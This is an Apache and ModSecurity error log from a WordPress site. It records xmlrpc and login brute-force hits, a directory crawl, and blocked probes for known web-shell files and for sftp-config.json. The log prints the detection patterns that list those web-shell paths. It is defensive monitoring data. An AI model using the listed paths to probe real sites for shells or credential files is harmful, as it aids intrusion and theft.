[Sat Feb 07 20:20:25.462721 2026] [:error] [pid 50672:tid 50727] [client 92.205.13.94:50304] [client 92.205.13.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.13.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYcuCQ9o0jq1XS8Nv7M_gQAAAFM"]
[Sat Feb 07 20:22:26.762655 2026] [:error] [pid 50673:tid 50742] [client 195.85.19.30:34926] [client 195.85.19.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.85.19.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYcugmVwLsaZ7aKO2ckBxwAAAIc"]
[Sat Feb 07 20:26:32.395896 2026] [:error] [pid 43182:tid 43184] [client 162.241.62.127:24902] [client 162.241.62.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.62.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYcvePEC82JnxmrnFYm1NAAAAUA"]
[Sat Feb 07 20:40:53.878889 2026] [:error] [pid 43182:tid 43202] [client 62.171.185.6:57554] [client 62.171.185.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.171.185.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYcy1fEC82JnxmrnFYm7dgAAAVI"]
[Sat Feb 07 20:48:26.237114 2026] [:error] [pid 58058:tid 58071] [client 8.156.67.207:56484] [client 8.156.67.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.156.67.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc0mrz-Qlvs65S4DP8egAAAAYo"]
[Sat Feb 07 20:48:40.279614 2026] [:error] [pid 50672:tid 50720] [client 172.211.184.239:2434] [client 172.211.184.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.211.184.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc0qA9o0jq1XS8Nv7NFCgAAAEw"]
[Sat Feb 07 20:48:43.392956 2026] [:error] [pid 50672:tid 50721] [client 47.251.71.191:33000] [client 47.251.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.71.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc0qw9o0jq1XS8Nv7NFEgAAAE0"]
[Sat Feb 07 20:48:48.011609 2026] [:error] [pid 43182:tid 43207] [client 27.118.26.5:56690] [client 27.118.26.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.118.26.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc0sPEC82JnxmrnFYm-BQAAAVc"]
[Sat Feb 07 20:49:03.135585 2026] [:error] [pid 50671:tid 50697] [client 94.237.69.112:48742] [client 94.237.69.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.237.69.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc0v7vqLohWBI_mqBOikwAAABE"]
[Sat Feb 07 20:49:15.593453 2026] [:error] [pid 55157:tid 55172] [client 129.226.82.190:37194] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc0y336JdtTn2bTEozI_wAAAQo"]
[Sat Feb 07 20:49:20.310079 2026] [:error] [pid 50672:tid 50717] [client 129.226.82.190:37208] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc00A9o0jq1XS8Nv7NFSAAAAEk"]
[Sat Feb 07 20:49:27.100193 2026] [:error] [pid 30684:tid 30711] [client 45.40.133.116:52670] [client 45.40.133.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.40.133.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc017qwdxwowLt-_LwHwAAAAdg"]
[Sat Feb 07 20:49:40.987646 2026] [:error] [pid 50780:tid 50804] [client 46.101.218.201:35127] [client 46.101.218.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.218.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc05OtUmIu2JHM2Cru3MQAAANY"]
[Sat Feb 07 20:54:51.879243 2026] [:error] [pid 30684:tid 30687] [client 72.14.186.106:40146] [client 72.14.186.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.14.186.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYc2G7qwdxwowLt-_LwJBAAAAcA"]
[Sat Feb 07 21:16:30.495507 2026] [:error] [pid 55157:tid 55167] [client 170.106.180.246:57076] [client 170.106.180.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYc7Ln36JdtTn2bTEozOnAAAAQU"]
[Sat Feb 07 21:19:52.556137 2026] [:error] [pid 30684:tid 30711] [client 66.23.227.146:57096] [client 66.23.227.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.23.227.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYc7-LqwdxwowLt-_LwPhgAAAdg"]
[Sat Feb 07 21:19:54.313689 2026] [:error] [pid 30684:tid 30696] [client 66.23.227.146:57096] [client 66.23.227.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.23.227.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYc7-rqwdxwowLt-_LwPhwAAAck"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 22:08:10.965475 2026] [:error] [pid 43182:tid 43202] [client 31.171.130.143:30953] [client 31.171.130.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aYdHSvEC82JnxmrnFYnp0wAAAVI"]
[Sat Feb 07 22:08:31.392480 2026] [:error] [pid 50673:tid 50752] [client 31.171.130.162:50321] [client 31.171.130.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aYdHX2VwLsaZ7aKO2ckq8QAAAJE"]
[Sat Feb 07 22:09:12.920521 2026] [:error] [pid 50671:tid 50686] [client 31.171.130.112:20877] [client 31.171.130.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aYdHiLvqLohWBI_mqBO_IgAAAAY"]
[Sat Feb 07 22:09:30.794748 2026] [:error] [pid 50671:tid 50683] [client 31.171.130.137:41923] [client 31.171.130.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aYdHmrvqLohWBI_mqBO_iQAAAAM"]
[Sat Feb 07 22:09:41.829660 2026] [autoindex:error] [pid 50672:tid 50730] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:42.343175 2026] [autoindex:error] [pid 50672:tid 50728] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:42.850740 2026] [autoindex:error] [pid 50672:tid 50732] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:43.326161 2026] [autoindex:error] [pid 50672:tid 50710] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:51.976558 2026] [autoindex:error] [pid 50672:tid 50711] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:52.447707 2026] [autoindex:error] [pid 50672:tid 50722] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:52.927116 2026] [autoindex:error] [pid 50672:tid 50709] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:53.411277 2026] [autoindex:error] [pid 50672:tid 50729] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:53.899783 2026] [autoindex:error] [pid 50672:tid 50731] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:54.378913 2026] [autoindex:error] [pid 50672:tid 50723] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:09:55.364398 2026] [autoindex:error] [pid 50672:tid 50708] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:01.166900 2026] [autoindex:error] [pid 50672:tid 50729] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:01.651005 2026] [autoindex:error] [pid 50672:tid 50718] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:13.949410 2026] [autoindex:error] [pid 50672:tid 50714] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:14.420908 2026] [autoindex:error] [pid 50672:tid 50719] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:14.896884 2026] [autoindex:error] [pid 50672:tid 50732] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:15.368627 2026] [autoindex:error] [pid 50672:tid 50709] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:26.199413 2026] [autoindex:error] [pid 50672:tid 50709] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:33.140810 2026] [autoindex:error] [pid 50672:tid 50725] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:46.030818 2026] [autoindex:error] [pid 50672:tid 50709] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:46.525578 2026] [autoindex:error] [pid 50672:tid 50722] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:10:47.020221 2026] [autoindex:error] [pid 50672:tid 50725] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:11:18.903825 2026] [autoindex:error] [pid 50672:tid 50719] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:11:26.364058 2026] [autoindex:error] [pid 50672:tid 50711] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:11:26.849256 2026] [autoindex:error] [pid 50672:tid 50729] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:11:28.293049 2026] [autoindex:error] [pid 50672:tid 50722] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:11:28.775113 2026] [autoindex:error] [pid 50672:tid 50725] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:11:29.259256 2026] [autoindex:error] [pid 50672:tid 50712] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:11:50.202544 2026] [autoindex:error] [pid 50672:tid 50718] [client 31.171.130.143:28057] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 23:58:04.311909 2026] [:error] [pid 55157:tid 55181] [client 69.57.172.96:52664] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.172.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYdhDH36JdtTn2bTEowLfgAAARM"]
[Sat Feb 07 23:58:07.940329 2026] [:error] [pid 55157:tid 55168] [client 69.57.172.96:52664] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.172.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYdhD336JdtTn2bTEowLgAAAAQY"], referer: https://gigfragments.org/wp-login.php
[Sun Feb 08 00:13:59.971074 2026] [:error] [pid 43182:tid 43191] [client 103.77.107.178:62938] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aYdkx_EC82JnxmrnFYksrgAAAUc"]
[Sun Feb 08 00:26:53.974767 2026] [:error] [pid 62341:tid 62416] [client 193.202.110.17:45078] [client 193.202.110.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.202.110.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYdnzZ-t2yekx5OosV4UegAAAE4"]
[Sun Feb 08 00:27:22.149601 2026] [:error] [pid 62342:tid 62444] [client 27.118.26.5:52716] [client 27.118.26.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.118.26.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYdn6uwzANoqjscwU_6x7QAAAI8"]
[Sun Feb 08 00:27:56.730522 2026] [:error] [pid 62641:tid 62648] [client 129.146.163.15:34276] [client 129.146.163.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.146.163.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYdoDC_seVuUK_C4AppVPAAAAMU"]
